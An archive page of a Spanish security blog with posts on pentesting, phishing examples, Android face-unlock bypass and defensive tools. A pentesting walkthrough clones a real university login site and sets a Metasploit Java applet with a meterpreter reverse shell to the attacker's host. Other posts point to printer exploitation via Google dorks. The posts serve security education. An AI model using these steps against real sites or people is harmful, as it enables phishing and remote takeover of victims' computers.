28 feb 2013

Explotación de vulnerabilidades en impresoras

El uso de Google Dorks para encontrar equipos en la red no es algo novedoso. De echo se usa para buscar versiones de software específico y poder usar los últimos exploits que han salido. Y que lo mas seguro, es que algunos administradores no hayan parcheado sus equipos.

Los cracks de Hackplayers el otro día publicaban algunos dorks para encontrar cámaras IP usando Google Dorks.

http://www.hackplayers.com/2013/01/google-dorks-para-espiar-webcams.html

En el POST podemos encontrar una manera de encontrar impresoras vulnerables. Además hay herramienta para realizar la epxlotación de la vulnerabilidad.

Es por eso que podemos hacer búsquedas del siguiente tipo:

Además tenemos, como comentaba, la herramienta está disponible en GitHub

https://github.com/percx/Praeda

Be powerful with Google!

27 feb 2013

Aprender a usar Metasploit para ser un pentester

Durante este mes de Febrero Pablo impartió una charla sobre "Metasploit y Pentesting" en el pasado T3chFest 2013 en la Universidad Cárlos III de Madrid, a continuación os dejo con el vídeo de la conferencia que se grabó para que lo disfrutéis :)

[youtube jvq_ECqfp_o nolink]

Si quieres aprender más sobre Metasploit y como sacarle el mayor partido puedes leer el libro que escribió titulado de la misma forma "Metasploit para Pentesters".

26 feb 2013

Próximos eventos en los que estará Flu Project

Buenas a todos, hoy hemos querido dedicar un artículo para recordaros los eventos en los que Pablo, yo o ambos estaremos proximamente, por si queréis acercaros a nuestras charlas y pasar un buen rato con nosotros :)
  • Mañana 27 de Febrero a las 18:15 estaremos ambos en la segunda edición del URJC Tech Fest, que este año dedican al mundo de los videojuegos. Os presentaremos nuestra ponencia "Seguridad en los videojuegos: GoD Mode", donde trataremos numerosos aspectos a tener en cuenta a la hora de desarrollar un videojuego seguro y haremos algunas demostraciones prácticas curiosas.
  • El martes 5 de Marzo Pablo impartirá el RootedLab "Metasploit Labs: Pentesting", del que ya no quedan plazas, pero puedes apuntarte a la lista de espera. El lab estará muy interesante y todos los asistentes recibirán una copia del libro de pablo "Metasploit para Pentesters" :)
 
  • El jueves 7 de Marzo estaremos ambos en la RootedCon, a las 15:00 os queremos a todos como un reloj en vuestros asientos para contaros nuestra experiencia de los últimos meses con Flu-AD en la charla "Metasploit & Flu-AD: Avoiding AVs with Payloads/DLLs Injection". Luego por la tarde si os apetece nos tomamos unas cañas al salir por Madrid :)
  Nos vemos en alguno de los eventos, saludos!

25 feb 2013

Episodio de Pentesting (Parte IX)

Buenas a todos, hoy finalizaremos la cadena sobre pentesting presentando dos utilidades que os facilitarán el trabajo del día a día. Armitage y SET.

Armitage

Esta herramienta básicamente se encarga de proveer de interfaz gráfica a MSF, pero sin dejar de lado una línea de comandos. Armitage tiene una barra superior que automatiza el escaneo de redes, la búsqueda de ataques disponibles para las distintas posibles víctimas dependiendo de la información que consiga en los escaneos pertinentes. Además, te permite elegir los ataques y te ofrece una configuración predeterminada para el mismo dependiendo del sistema operativo de la víctima. Su parte inferior, es una consola en la que se van abriendo pestañas para lanzar los diferentes procesos durante el ataque. En cierto modo, como toda interfaz gráfica, reduce considerablemente las posibilidades del programa comparado con su interfaz CLI, pero ya que la propia interfaz dispone de una línea de comandos, podemos suplir las carencias de la interfaz desde ahí. La interfaz se lanza directamente desde el menú de backtrack.

(Lanzando armitage desde el menú)

(Ventana de metasploit habitual cuando se arranca)

(Ventana con un ataque en proceso, en la que hay vulnerados 3 dispositivos de la red)

Como podéis ver la interfaz es bastante útil, y además hace el ataque mucho más vistoso si lo que queréis es hacer algún tipo de publicación o documento oficial.

SET

Cuyo nombre completo es Social Engineering Toolkit es un conjunto de utilidades como su propio nombre indica que nos asiste en la tarea de poner en funcionamiento todo tipo de ataques en los que interviene la ingeniería social, desde ataques vectoriales, hasta ataques como los de pass harvesting o tabnabbing (El primero es captura de contraseñas envenenando una petición GET o POST en nuestro servidor, y el segundo hace lo mismo pero carga el servidor malicioso al cambiar de pestaña en el navegador de la víctima). Creado por David Kennedy, la verdad es que se ha convertido en una herramienta indispensable para cualquiera que trabaje en el área de pentesting, llegando incluso a portarse a un dispositivo iOS con Jailbreak. El software integra en muchas de sus partes secciones del propio Metasploit, pero automatiza la tarea hasta tal punto de basarse en un menú seleccionable con diferentes niveles. También viene incluido en la distribución de Backtrack. Os dejo algunas imágenes.

(Menú principal de SET)

(Menú de ataques principal SET)

 

(Selección de Payload SET)

24 feb 2013

Informe Flu – 112

Buenas a todos, una semana más os traemos el resument de la semana en Flu Project:

Lunes 18 de Febrero

Martes 19 de Febrero

Miércoles 20 de FebreroJueves 21 de Febrero

Viernes 22 de Febrero

Sábado 23 de Febrero

22 feb 2013

Facial Authentication Bypass android

Hace pocos días un colega del curro tuvo la suerte de poder ir mas rápido que ninguno y pudo comprar el ansiado Google Nexus 4. Se sabe que este modelo ha sido muy demandado y en cuestión de minutos se ha agotado el stock.

Al cabo de los días le ha llegado el dispositivo y entre otras cosas quiso aplicar seguridad a su teléfono.

¿Que podemos usar para desbloquear el teléfono?:

seguridad

Una vez que lo tenemos claro, empezamos.

Patron:

Patron Android

Sin duda yo creo que el patron es el mas usado, es cómodo y muy personalizable, puedes configurarte patrones sencillos como el que ves en la imagen de arriba, o bien puede ser complicado como el siguiente:

Como veis este es un poco mas complicado de saltar.

Contras:

El uso de patrones sencillos

Si no tenemos cuidado con el reflejo de la luz podemos ver el rastro del patrón  parece una tontería pero yo o he visto hacer mas de una vez.

Contraseña

El uso de un password mejora la seguridad si lo comparamos con un patrón. Aquí si no se usan malas prácticas como el uso de passwords como 12345 o admin o cosas así, no será tan fácil para un atacante poder desbloquear nuestro teléfono.

password

Contra:

El uso de contraseñas sencillas.

¿Menos usabilidad?

Pin

A mi el PIN no me gusta ya que solo puedes escoger 4 dígitos numéricos para crear tu protección de acceso.

PIN Security

Contra:

Solo 4 dígitos para la protección de acceso.

Ataques por fuerza bruta:

Cualquiera de los métodos anteriormente mencionados se le pueden aplicar ataques por fuerza bruta, solo faltaría que pudiéramos acabar acertando el patrón, contraseña o PIN.

Es por eso que se implementan otros factores para no facilitar este paso de ataques por fuerza bruta, por ello se añaden temas de tiempo:

Tiempo de espera

El tiempo se irá incrementando si vamos fallando, hasta que al final se nos bloqueará el dispositivo y nos pedirá nuestra cuenta de Google.

Google Account

Una vez sabemos que alternativas podemos elegir y que ocurre con los ataques de fuerza bruta, vamos a la parte de desbloqueo usando nuestra cara. Es decir, autenticacion facial.

Para activarlo deberemos de ir a las opciones en nuestro Android.

facial

Voy pasar por el alto el uso de “encriptación” por parte de los traductores de Google. El post no es para eso.

Se combina el uso del desbloqueo facial con un patrón. En el caso de fallo del desbloqueo facial, tenemos como alternativa el patrón, PIN o contraseña. En el caso de repetidos fallos con el desbloqueo facial autoamticamente saldrá el    patrón para desbloquear el teléfono.

Autenticación facial:

Activamos la autenticación facial, cuando lo hagamos, al desbloquear el teléfono nos saldrá lo que la cámara pueda ver para desbloquear el teléfono.

david_telefonoAuthentication bypass

Seguro que muchos lo habéis probado, en este caso solo tuve que poner una foto de mi compañero delante para que el teléfono se desbloqueara.

Supongo que para evitar esto, incluyeron una opción mas y es que hiciera falta parpadear para que se desbloquee el teléfono.

facial

En este caso intente hacer una transición de fotos con el desbloqueo para tratar de hacer bypass, pero no funcionó.

Enhanced Authentication Bypass

Seleccionando esta opción, solo tuvimos que grabar un video de 10 segundos con él parpadeando para poder saltar la autenticación, sin duda muy sencillo.

Aunque la autenticación facial pueda parecer mas seguro que una contraseña, pues nadie te “podría” copiar la cara, recuerda hay otros métodos.

21 feb 2013

El peor Phising de la historia (Parte VI)

Buenas a todos, hoy volvemos con una nueva entrada de nuestra cadena el Peor Phising de la historia, ya van seis y hoy volvemos con otro phising de la que comienza a ser nuestra entidad bancaria preferida :) (van 6/6).Os dejamos con el mensaje de Adolfo:
Me entran tantos de esta entidad bancaria que ya los tengo filtrados para que vayan directamente a spam
 Como veis el phising es bastante malo, ya que no han suplantado la dirección del emisor del mensaje, el texto está mal traducido, por lo que parece que procede de mafias que no hablan español (posiblemente del Este) y el aspecto del correo es bastante pobre.Podéis seguir enviandonos nuevos phisings a info@flu-project.comSaludos!

20 feb 2013

SCAM de Mastercard

Sigo recibiendo en mi carpeta de SPAM vario pintos correos, uno de ellos es un SCAM de Mastercard.

El correo recibido tiene el siguiente aspecto:

El correo trata de ser atractivo para que el usuario abra el adjunto. Antes de abrirlo quería saber un poco de información del documento, así que, como soy FAN de la FOCA de Informatica64, subí el archivo para poder ver las propiedades.

Una vez que hemos seleccionado el archivo lo subimos para poder extraer la información.

El documento fue creado hace relativamente poco, y se modifico hace casi nada. ¿Cambios de última hora?Si miramos la cabecera del correo que me han enviadoSi miro la dirección de origen y, la busco por Internet está en el TOP de varias listas por fraude.

19 feb 2013

Sysinternals sdelete

Como bien sabréis Sysinternals es una suite de herramientas para windows que brinda a nuestro sistema operativo una serie de utilidades extra muy útiles siempre que sepamos usarlas adecuadamente. En este blog ya se ha hablado muchas veces de la suite, pero se ha profundizado poco en cada una de ellas.Hoy quiero hablaros de Sdelete. Quizás no sea la herramienta más utilizada de la suite, puesto que su utilidad es un tanto reducida aunque cumple con su cometido. Aunque Jesusdml ya explicó en este post la eliminación segura en OSX, Linux y Windows, no está de más conocer otra manera de borrar datos de manera seguro desde la suite sysinternals.clip_image002Este pequeño y portable ejecutable nos permite borrar de manera segura archivos y directorios que queremos hacer desaparecer para siempre, sobrescribiendo los datos en disco del mismo. Su uso es muy sencillo e intuitivo, basta con ejecutarla desde una línea de comandos y con un par de atributos habremos borrado de forma segura y permanente los archivos.
Usage: sdelete [-p passes] [-s] [-q] <file or directory>sdelete [-p passes] -z [drive letter]-p         Permite especificar el número de pasadas de sobrescritura-s           Permite buscar de manera recursiva en subdirectorios-q      No imprime los errores (silencioso)-z      Permite limpiar el espacio libre
Así que, si tenéis información confidencial y queréis borrarla, ya sabéis otra manera de hacerlo!

18 feb 2013

Episodio de Pentesting (Parte VIII)

Hola, hoy continuaremos con el octavo post de la cadena “Episodio de Pentesting” continuando por donde lo dejamos en el último capítulo “Meterpreter en acción”:

Ya tenemos el Exploit inyectado en la web, ahora esperamos pacientemente que nuestra ingeniería social haga acto de presencia ante la víctima y esta ejecute el complemento de Java. Una vez ejecutado, el applet se encargará de realizar automáticamente una conexión inversa hacia nuestro servidor por el puerto que hayamos especificado en LPORT y abrirá una sesión de Meterpreter para dejarnos en ordenador atacado a nuestra disposición.

Metasploit por defecto no nos redirige a la sesión abierta directamente, tendremos que abrirla nosotros, así que vemos los comandos por defecto.

Primero, ejecutamos “sessions –l” y nos listará todas las sesiones que hayan activado nuestros troyanos de conexión inversa. Para seleccionar una simplemente tenemos que escribir:

clip_image002

(Exploit activando sesión y abriéndola en meterpreter)

“sessions –i id” es decir…

“sessions –i 1”

Se nos abrirá una session de Meterpreter, y lo primero que tenemos que hacer tras examiner un poquito la CLI, es ejecutar una orden help, para ver qué podemos hacer con él. En este momento, los que no conozcan Meterpreter se darán cuenta de por qué he elegido este payload y no uno de Shell normal. Meterpreter tiene muchísimas opciones con órdenes directas, desde subir o descargar un archivo, hasta terminar un proceso o capturar el micro o la webcam.

El payload es verdaderamente una obra de arte, podría explicar uno por uno que hace cada comando, pero puesto que viene una descripción del mismo en inglés creo que no tiene sentido y es mucho más divertido si lo investigas tú mismo.

clip_image004

(Algunos comandos de Meterpreter)

17 feb 2013

Informe Flu – 111

Buenas a todos, una semana más os traemos el resument de la semana en Flu Project:

Lunes 11 de Febrero

Martes 12 de Febrero

Miércoles 13 de FebreroJueves 14 de Febrero

Viernes 15 de Febrero

Sábado 16 de Febrero

16 feb 2013

Proyecto Social Mostoleño: Asociación Yimiyama. Fiestas y eventos infantiles

Hoy les toca el turno a nuestros amigos de la Asociación Yimiyama, jóvenes trabajadores en Móstoles que hacen que los más pequeños de la casa lo pasen en grande con sus fiestas y eventos especiales para ellos, no tengáis duda a la hora de realizar vuestros eventos y fiestas para los más peques.

Asociación Yimiyama, una entre un millón.

Desentiéndete y déjanos que preparemos la mejor fiesta con juegos, canciones, teatro, magia, etc.

En el mes de Septiembre unos chicos y chicas se conocieron en un curso de monitor de tiempo libre. Personas con grandes capacidades y cualidades, y sobre todo un gran interés por divertir, entretener y enseñar a los niños, además de aprender de ellos.

Juntos formaron un gran equipo, con muchas ideas y entre ellas, la Asociación Yimiyama, una entre un millón. Esta asociación pretende hacer pasar un buen rato a las personas, porque ofrece talleres y actividades para niños y adultos.

La asociación se creó para proporcionar animación a los hospitales de la Comunidad de Madrid, más adelante ampliamos nuestro objetivo, presentando numerosos juegos, canciones y talleres para fiestas privadas. Dispone de diferentes tipos de animaciones o de packs de actividades adecuándose a tus necesidades.

En resumen, nos encantaría que disfrutarais con lo que hacemos, tanto como nosotros disfrutamos con ello.

No dudes en pedir información o consultar sin compromiso, si estas buscando un trabajo bien hecho y organizado, personas responsables y con grandes ideas contacta con nosotros através de un correo a la dirección

asociación_yimiyama@hotmail.com búscanos en Facebook como Asociación Yimiyama y en Twitter @_yimiyama.

Apostamos por la humildad de los juegos infantiles que tanto nos han divertido a todos en algún momento.

Documento original

15 feb 2013

Flu Project estará en el URJC Tech Fest II: Seguridad en los videojuegos: GoD Mode

Buenas a todos, la UACM (Union de Alumnos del Campus de Móstoles) organizará los próximos días 27 y 28 de febrero el URJC Tech Fest II. Esta segunda edición del festival está dedicada al desarrollo de videojuegos, bajo el eslogan Videojuegos: persiguiendo un sueño. Durante los dos días del evento habrá ponencias sobre cómo desarrollar un videojuego, desde la concepción de la idea hasta cómo llevarlo al mercado pasando por temas como el guión, los graficos o la IA. Si os gustan los videojuegos o siempre habéis querido hacer uno ¡no os lo podéis perder!. La entrada es libre y gratuita para todo el mundo.

Un año más, Pablo y un servidor hemos sido invitados al congreso URJC Tech Fest, para dar una ponencia sobre seguridad y hacking ético, en esta ocasión hablaremos sobre seguridad en el ámbito de la industria de los videojuegos con nuestra charla: Seguridad en los videojuegos: GoD Mode

Entre los ponentes se encuentran empresas de alto nivel en el ámbito de los videojuegos como EA, Milkstone Studios y Over the Top Games.

Tras el congreso se publicará el material de las ponencias, por lo que no os preocupéis si no podéis acercaros al evento, aunque os recomendamos que vengáis :)

En el siguiente enlace tenéis todos los detalles sobre el evento:

http://techfest.uacm.es/

A continuación os dejamos con el programa:

Miercoles 27

HoraTitulo
09:00Apertura de puertas
09:30Acto de apertura
10:00Concepción de la idea: el poder de la creatividad
11:00Visión global del desarrollo de un videojuego
12:00Descanso
12:20Arquitecturas hardware en las consolas de hoy
13:20Preparación académica: ¿qué necesito estudiar?
14:20Comida
15:30Coordinación en equipos pequeños
16:30Gráficos: ¿qué pinta tiene mi juego?
17:30Descanso
17:50Publishers: ¿buenos o malos?
18:50Seguridad en los videojuegos: GoD Mode
19:50Fin de los actos del día
Pueden sufrir variaciones

Jueves 28

HoraTitulo
09:30Apertura de puertas
10:00Motores de juego: ¿comercial o artesanal?
11:00Inteligencias Artificiales: generando comportamientos
12:00Descanso
12:20Guión: creando el universo de mi juego
13:20Marketing en videojuegos
14:20Comida
15:30Finalizando mi juego: pruebas y feedback
16:15Emprender: creando mi estudio independiente
17:30Descanso
17:50Periodismo especializado en videojuegos
18:50Acto de clausura
19:00Encuentra colaboradores, comparte tu pasión *
* Si deseas presentar tu videojuego, te daremos unos minutos para que lo hagas, solo debes mandarnos un correo a uacm.congreso@gmail.com con el asunto "Presentacion de videojuego" contandonos cual es tu proyecto. Despues podras charlar con los asistentes y hacer networking
 

14 feb 2013

El peor Phising de la historia (Parte V)

Buenas a todos, una semana más os traemos otro phising para nuestra cadena El peor Phising de la historia, y premio, de nuevo toca phising del BBVA (y van 5 de 5...) :-)El phising de hoy nos lo envía Ramon Maria Gallart, ¡gracias! Os dejamos con su mensaje:
Os envío un phishing que en mi opinión no está tan mal hecho. Solamente un par de faltas de ortografía, el hecho de que me enviaron el mail a una cuenta de correo que no tengo registrada con BBVA y que el enlace era más-que-sospechoso porque no tenía nada que ver con la entidad me hicieron ver que era una estafa
Como veis el phising está mejor preparado que otros con los que nos hemos encontrado de esta misma entidad bancaria, incluida la dirección del remitente. ¡Cuidado con los phisings! 

13 feb 2013

Episodio de Pentesting (Parte VII)

Hola! hoy seguiremos con nuestra cadena Episodio de Pentesting hablando sobre Ingeniería Social :)

Durante el desarrollo del proyecto me estuve planteando la posibilidad de omitir este apartado. Sin embargo después de no pocas reflexiones, creo que a nivel de poner en práctica este episodio en el mundo real, esta es la parte más importante. Se debe hacer caer a la víctima en la trampa, y una de las maneras más eficientes es suplantando la identidad de un sitio web habitual de tal manera que el usuario no se dé cuenta de la trampa. Creo que estamos de acuerdo en que un index.html del tipo <h1>HOLA, SI ACEPTAS ESTE APPLET VOY A HACKEARTE EL PC</h1> no es demasiado útil.

Pero… ¿Y si clonamos la web de Google? Pensé en clonar la UJA, pero la verdad es que ocupa demasiado y tardaríamos en descargar el árbol de direcciones bastante rato. Al final, decidí inyectarlo en un sitio más creíble, ya que a día de hoy es improbable que Google inserte un applet de Java en su buscador y me decidí por inyectarlo justo en el enlace de autenticación de dv.ujaen.es, cambiando el link en el código fuente hacia mi IP.

Me pongo manos a la obra,  y aunque podría descargarme el código directamente con wget o con un right click en la misma web, o incluso copiando directamente el código fuente visible, eso es una chapuza a no ser que nos queramos pasar un par de horas redireccionando hojas de estilo y contenido multimedia.

Descargamos un programa que se encarga de hacer la tarea por nosotros, httrack.

“apt-get install httrack”

Nos situamos en la carpeta que queramos descargar la web, y ejecutamos el programa pasando como argumento la web que deseemos.

“httrack dv.ujaen.es”

(httrack clonando www.google.es)

Una vez copiada la web en la carpeta que hayamos definido por defecto (recomiendo que no sea directamente el servidor por si hay algún fallo) comprobamos que está bien en el navegador, y la copiamos directamente a la carpeta del servidor apache, ya sea únicamente el index o también archivos y carpetas asociados.

“cp dv.ujaen.es/* /var/www”

Una vez lo hemos copiado iniciamos el servidor apache desde el menú.

Applications -> Backtrack -> Services -> HTTPD -> apache start

Básicamente ya está todo copiado y listo para funcionar. Os adjunto como información adicional los parámetros exactos que yo he utilizado para configurar el exploit y el payload en MSF.

set APPLETNAME UJA_AUTH

set CERTCN Ujaen

set URIPATH /authapplet

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.XXX

(Hay que tener cuidado de no establecer como Puerto del servidor el 80, ya que lo estamos utilizando para alojar a la web clonada)

Eso es todo por hoy, saludos!

12 feb 2013

Phishing y robo de cuentas de correo

Cuando hablamos de phishing solemos enfocarlo al ámbito bancario pero esto no es así, ya que el phishing sirve para conseguir datos sensibles de los usuarios y no tiene porque ser siempre los datos de la cuenta bancaria.

El phishing puede robar las cuentas mas populares de correo, pero tiene la opción de poder robar cualquier cuenta de correo.

Al elegir una de las cuentas, uno de los popups nos pedirá los datos de la cuenta de correo.

Al meter la cuenta de correo, el phishing nos redirige hacia una página que se supone que pertenece a nosotros por el correo que hemos introducido.

Evidentemente los datos son falsos. La sorpresa ha sido al darle a Scan Data que hay errores de la parte de servidor.

En este caso cuando hemos introducido el correo ya ha sido capturado por los atacantes por lo que ya hemos perdido el acceso a el, o mas bien, lo perderemos.

El phishing no solo sirve para la parte de banca, sino que sirve para muchos otros servicios.

11 feb 2013

Fail2ban para banear fuerza bruta

Esta aplicación desarrollada en el lenguaje Python permite la prevención de intrusos en un sistema. Su función es penalizar la conexión, ya sea por medio de un bloqueo, de un origen que intenta realizar un proceso de fuerza bruta. En otras palabras, cuando una dirección IP o varias intentan realizar un ataque de fuerza bruta sobre un servicio, como puede ser FTP, SSH, etcétera, esta aplicación detectará y penalizará dichos comportamientos.

Fail2ban se encarga de realizar una búsqueda en los logs de ciertas aplicaciones, las cuales se especificarán por parte del administrador en su configuración. Fail2ban contiene reglas que han sido configuradas por el usuario para aplicar penalización, la cual puede interpretarse como bloqueo de la aplicación en un determinado puerto, bloqueo para todos los puertos, etcétera. La penalización y las reglas serán definidas por el usuario.

Cuando Fail2ban detecta una serie de intentos fallidos, los cuales son predefinidos por el usuario, la aplicación determina la acción a tomar sobre la dirección IP que provocó dicha situación. Se puede, simplemente, notificar mediante un email el suceso ocurrido, denegar el acceso a la dirección IP, denegarla en determinado puerto y habilitarla en otros, mediante la utilización de iptables o el firewall que corresponda. Además, se puede configurar las prohibiciones pasado un determinado período.

Ejemplo básico

En el siguiente escenario se presenta un servidor SSH implementado sobre un Ubuntu y una máquina Backtrack que se utiliza de cliente para las conexiones SSH. La máquina Ubuntu ha sido configurada para que al tercer intento de contraseña fallido se prohíba la conexión de la máquina Backtrack con el servidor.

En la siguiente imagen se puede visualizar como queda registrada una dirección IP y la fecha en la que ha sido baneada. Este hecho es importante ya que cuantos más datos queden almacenados más sencillo será llevar a cabo un proceso forense sobre lo que ha sucedido.

Para ver la configuración del fichero /etc/fail2ban/jail.conf se puede visualizar en la imagen:

10 feb 2013

Informe Flu – 110

Buenas a todos, una semana más os traemos el resument de la semana en Flu Project:

Lunes 4 de Febrero

Martes 5 de Febrero

Miércoles 6 de FebreroJueves 7 de Febrero

Viernes 8 de Febrero

Sábado 9 de Febrero
  • Ayer publicamos la vigésima entrada de nuestra cadena Pantalla Pública XX, con un cazado de un cajero automático.

Proyecto Social Móstoles: Jourmind (1ª Semana)

Jourmind.es nace en junio de 2012 con la idea de crear un programa de radio en formato podcast-magazine semanal denominado Free Jourmind.

Pasados varios meses de emisión, conseguimos una importante agenda de contactos y lista de espera de músicos interesados en participar en el programa. Fue entonces cuando decidimos dar el salto a un soporte audiovisual (un concepto más atractivo y completo) centrado exclusivamente en el mercado musical. A partir de ese momento, Jourmind pasa a convertirse en una plataforma musical cuyo objetivo es convertirse en un referente tanto para los artistas en ciernes, los profesionales, y cualquier otro interesado en disfrutar de este ámbito de la cultura.

Actualmente, Jourmind está presente en los canales y perfiles más importantes del social media centralizando toda su actividad desde su página web matriz (www.jourmind.es) con el fin de aumentar su difusión y medir el alcance de cada una de las acciones que realiza diariamente.

Jourmind es una agencia de comunicación y marketing musical  cuyo objetivo es apoyar, mediante nuestros medios y conocimientos, a músicos de todo el mundo, aumentar su difusión y alcance creando el ecosistema necesario para obtener ingresos de sus creaciones, y por tanto dedicarse profesionalmente a este ámbito de la cultura.

En esta ocasión, Jourmind contribuye con el proyecto Flu Project ofreciendo de forma totalmente gratuita, la realización de entrevistas y grabaciones de temas en formato acústico con el fin de proveer a los grupos musicales entrevistados de material de alta calidad con el que promocionarse.

Los interesados podrán informarse detalladamente de esta iniciativa en el formulario de contacto de nuestra web www.jourmind.es

P.D. Agradecemos a Flu esta oportunidad

9 feb 2013

Pantalla Pública XX

Buenas a todos, hacía ya algunas semanas que no volvíamos con nuestra cadena sobre Pantallas Públicas, pero aquí estamos de nuevo para traeros un cazado que nos envía desde tierras gallegas Isaac Castro (gracias! un abrazo desde Flu Project).

Os dejamos con su mensaje:

Os envío una fotografía de un cajero que "cacé" en un Banco Popular de Santiago de Compostela.Algo no debía estar todo lo fino que debería, porque aún que todos los test se ven correctos falla el "start-up" como dice en la última línea. Lo de pulsar F1 para la configuracion hardware... difícil desde esa pantalla :P

Cuidado con los cajeros!

Saludos!

8 feb 2013

El peor Phising de la historia (Parte IV)

Buenas a todos, aquí estamos una semana más con nuestro phising de la semana, con un nuevo cazado que nos envía Jordi Serra (¡Gracias!). Y como era de esperar..., seguimos con Phisings al banco BBVA. Los estafadores deben tomar por pardillos a los clientes de este banco.

 Hoy el BBVA nos regala un bono de 840€. ¡Qué majos! Incluso nos indican los enlaces para acceder a sus páginas en las redes sociales más conocidas.

La pena del phising era que la dirección del remitente no estaba muy currada, ni el correo en general tampoco, por lo que es digno candidato del Peor phising de la historia :)

Saludos!

7 feb 2013

Extrayendo información a través de UpnP

A raíz de la noticia de Rapid7, me enteraba de una vulnerabilidad reciente descubierta en UpnP.

El fallo en si es bastante grande ya que UpnP es utilizado por más de 1.500 fabricantes y 6.900 productos, entre los que se encuentran dispositivos de Belkin, D-Link, Linksys, Netgear o Apple.

Como no, ya han liberado módulo de Metasploit por lo que podemos automatizar las pruebas en los rangos de red de nuestra organización (si trabajamos en empresa) o simplemente en nuestra red en casa para ver si somos vulnerables.

También podemos probar el fallo con nmap, hay un script para ello.

nmap –script upnp-info.nse -p 1900 -sU 192.168.0.0/24

Vamos a probar con el módulo que han habilitado para Metasploit, lo primero es actualizar y arrancar el framework

Cada vez que veo esta imagen, me recuerda al súper libro que ha escrito Pablo, en Informatica64.

Usar el módulo de escaneo es muy fácil, elegimos la opción y lanzamos el módulo.

En el escaneo realizado con el módulo hemos encontrado una de las Ip’s de la que se ha podido extraer información.

Rapid7 ha habilitado una web para saber si tu red es vulnerable al fallo de UpnP

http://www.rapid7.com/resources/free-security-software-downloads/universal-plug-and-play-jan-2013.jsp

Y como no, podéi descargar el Whitepaper de a siguiente dirección:

https://community.rapid7.com/docs/DOC-2150

6 feb 2013

Crónica de la Jornada de Prevención y Seguridad en Internet para Familias y Educadores

Este post en un descarado copia/pega del blog de Angelucho, espero que no se de cuenta :P.

Buenas a todos, este fin de semana he tenido el placer de asistir a la "Primera Jornada de Prevención y Seguridad en Internet”, organizada por la Asociación Nacional de Tasadores y Peritos Judiciales Informáticos (ANTPJI) y el Ayuntamiento de Elche con mi gran amigo Angelucho de “El Blog de Angelucho”. En primer lugar, quería agradecer a la organización la invitación y por haber pensado en la conveniencia de mi participación en el evento. Agradecer especialmente al delegado provincial Maxi y al Presidente Angel Bahamontes de la Asociación Nacional de Tasadores y Peritos Judiciales Informáticos (ANTPJI), por la gestión durante todo el fin de semana.

Ya de entrada, el comienzo no podía ser más interesante, como dijeron por Twitter, en el “Orient Express” coincidimos Pablo Pérez San-José, GERENTE del Observatorio Inteco, Miguel Comín, Director de Fundacion Alia2, Angelucho y un servidor. Con lo cual, las jornadas, dieron comienzo en “ese particular tren” :)

Comenzamos con el primer problema, sabemos que vamos los cuatro en el mismo tren, pero solamente estábamos Angelucho y yo, que arrancamos el viaje juntos en el vagón 10. ¿Dónde estaban el resto? Tras un análisis exhaustivo del entorno…, al no conocer a las personas y viendo que nadie se encontraba twitteando con su Smartphone, comenzamos una ardua labor investigadora, la cual dimos comienzo en la cafetería. Fin de la investigación, ahí estábamos todos.

En la estación de Alicante, con unos ricos 27 grados de temperatura, nos esperaban 2 taxis para llevarnos hasta el evento, con lo cual nos repartimos entre los 2. En el taxi A, Angelucho  y yo, tuvimos un curioso viaje con el conductor, que desde ese momento pasó a ser nuestro ciberamigo que nos llevaba hasta Elche haciendo incluso de guía turístico. Juan, nuestro amigo taxista, un joven de unos 60 años, nos contaba sus aventuras y desventuras en tantos años de profesión, incluso, llegando a desvelarnos su pasión por la escritura en su blog. En ese momento vimos como le brillaban los ojos, Juan se emocionaba y nos preguntó que como nosotros íbamos a un evento de “internet” a qué nos dedicábamos?

ANGEL dixit: Trabajamos en seguridad

TAXISTA dixit: Ah, eso está muy bien, tienen mucho trabajo. Mi hijo es ingeniero de telecomunicaciones, y me ha programado un blog, en el que escribo y me desahogo contando mis paranoias mentales. Me lee mucha gente, incluso de otros países.

NOSTROS dixit: Te animamos a que sigas haciéndolo.

TAXISTA dixit: Sí, me gusta informar a la gente, y sobre todo ayudar a mis compañeros del colectivo del Taxi. Y ustedes tienen mucho trabajo?

ANGEL dixit: pufffff, el de atrás es hacker

TAXISTA dixit: buuuuuuuuf, de aquí no salimos vivos

ANGEL dixit: Pero para usted que es un hacker?

TAXISTA dixit: Pues uno que piratea y roba cosas.

ANGEL dixit: Usted es conductor verdad?

TAXISTA dixit: Sí

ANGEL dixit: por ello es un camicace?

TAXISTA dixit: comprendido, ahora sí que lo entiendo, muy didáctica y convincente su explicación.

ANGEL dixit: los hackers son científicos de seguridad informática, los que usted dice son los crackers, los delincuentes.

Por cierto, Juan nos dio una tarjeta, este es el blog de nuestro amigo taxista :) alicantetaxi.es. Así que si vais por Alicante y necesitais un Taxi, podéis hacer uso de nuestro Taxista bloggero y darle recuerdos de los “hackers que trasladó”

Después de un triple paseo instructivo por Elche, llegamos al Centro de Congresos.

Llegamos al salón de actos y Julían López Richart, profesor de Derecho de la Universidad de Alicante explicaba los aspectos legales relacionados con la red, de forma muy instructiva, y creo que comprensible para todos los asistentes. Quedando claro, según su ponencia en la real victimización de los menores en Internet, pero quedando muy claro también  que en ocasiones son los menores quienes dan origen al problema, siendo ellos mismos quienes generan los contenidos ilícitos e incluso siendo autores de actividades en las que otros menores son victimas, como es el caso del Ciberbullying.

A continuación pudimos disfrutar de una magistral ponencia de un entendido en la materia, como es Pablo Pérez San José, Gerente del Observatorio INTECO. Pablo nos mostró con número los problemas de los jóvenes en Internet, brindando consejos a todos los asistentes sobre como conseguir una navegación más segura para los menores.

A continuación, tras una pausa para el café, llegó la mesa redonda de las fundaciones y plataformas para defender a los menores en Internet, intervinieron la Fundación Alia2, Fundación ANAR, y Cibercorresponsales. Todos dejaron de manifiesto la intención de aunar esfuerzos para proteger a los menores en la red, presentando sus respectivos proyectos para colaborar en la integración de los jóvenes en una Internet más Segura. (Trabajo tenéis, ¡ánimo!).

Con esta intervención terminaron los actos del día, al menos en el Centro de Congresos de Elche, la verdad que el evento se traslado a la cena en un Wok asiático cercano al hotel donde nos alojábamos tanto la organización como los ponentes.

Durante esa cena las conversaciones eran todas sobre la seguridad en la red, intercambiando peripecias de nuestros respectivos “lados oscuros” (entre charla y charla, nos hinchábamos a marisco). Ángel, el presidente, planteaba la facilidad que tenían los estafadores de las llamadas estafas nigerianas para hacer dinero rápido y de forma anónima e impune. Ya sobre las 2 nos recogimos que a las pocas horas había toque de diana.

El sábado madrugamos para desayunar fuerte para el largo día que nos esperaba. Y sobre las 9 cargamos las maletas hasta el lugar del evento.

El segundo día de las jornadas lo abría Maxi, compartiendo experiencias de sus muchos años como formador en Institutos, y brindándonos datos reales sobre los jóvenes en Internet.

